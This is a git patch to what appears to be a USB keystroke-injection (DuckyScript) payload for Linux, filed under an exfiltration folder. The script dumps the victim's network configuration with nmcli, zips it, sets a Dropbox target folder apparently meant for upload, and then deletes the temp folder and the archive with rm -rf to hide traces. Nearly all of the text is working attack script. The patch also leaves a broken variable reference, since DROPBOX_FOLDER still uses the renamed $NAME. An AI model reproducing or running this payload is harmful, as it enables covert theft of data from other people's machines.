From 9675f88b3d95cd671f889d8fc25af88dc6b9f2a7 Mon Sep 17 00:00:00 2001 From: aleff-github Date: Mon, 13 Mar 2023 09:52:14 +0100 Subject: [PATCH] Fixed zip function --- .../payload.txt | 21 +++++++++++++------ 1 file changed, 15 insertions(+), 6 deletions(-) diff --git a/payloads/library/exfiltration/ExfiltrateNetworkConfiguration_Linux/payload.txt b/payloads/library/exfiltration/ExfiltrateNetworkConfiguration_Linux/payload.txt index 36d0c33..331b0cc 100644 --- a/payloads/library/exfiltration/ExfiltrateNetworkConfiguration_Linux/payload.txt +++ b/payloads/library/exfiltration/ExfiltrateNetworkConfiguration_Linux/payload.txt @@ -34,7 +34,10 @@ STRING RANDOM=$(shuf -i 1-999999999999 -n 1) ENTER DELAY 500 -STRING NAME="$RANDOM.zip" +STRING ZIP_NAME="$RANDOM.zip" +ENTER +DELAY 500 +STRING ZIP_PATH="/home/$USER_NAME/Documents/$ZIP_NAME" ENTER REM Folder path @@ -42,20 +45,22 @@ DELAY 500 STRING TMP_FOLDER_PATH=$(mktemp -d -p "/home/$USER_NAME/Documents" prefix-XXXXXXXXXX) ENTER -REM Delay for zipping operation, it depends by computer power and folder directory -DELAY 3000 - +DELAY 500 STRING nmcli > "$TMP_FOLDER_PATH/nmcli.txt" ENTER -DELAY 1000 +DELAY 1000 STRING nmcli connection show > "$TMP_FOLDER_PATH/nmcli_connection.txt" ENTER -DELAY 1000 +DELAY 1000 STRING nmcli device show > "$TMP_FOLDER_PATH/nmcli_device.txt" ENTER + DELAY 1000 +REM Delay for zipping operation, it depends by computer power and folder directory +STRING zip -r "$ZIP_PATH" "$TMP_FOLDER_PATH" +DELAY 3000 STRING DROPBOX_FOLDER="/$NAME" ENTER @@ -74,3 +79,7 @@ ENTER DELAY 500 STRING rm -rf "$TMP_FOLDER_PATH" ENTER + +DELAY 500 +STRING rm -rf "$ZIP_PATH" +ENTER \ No newline at end of file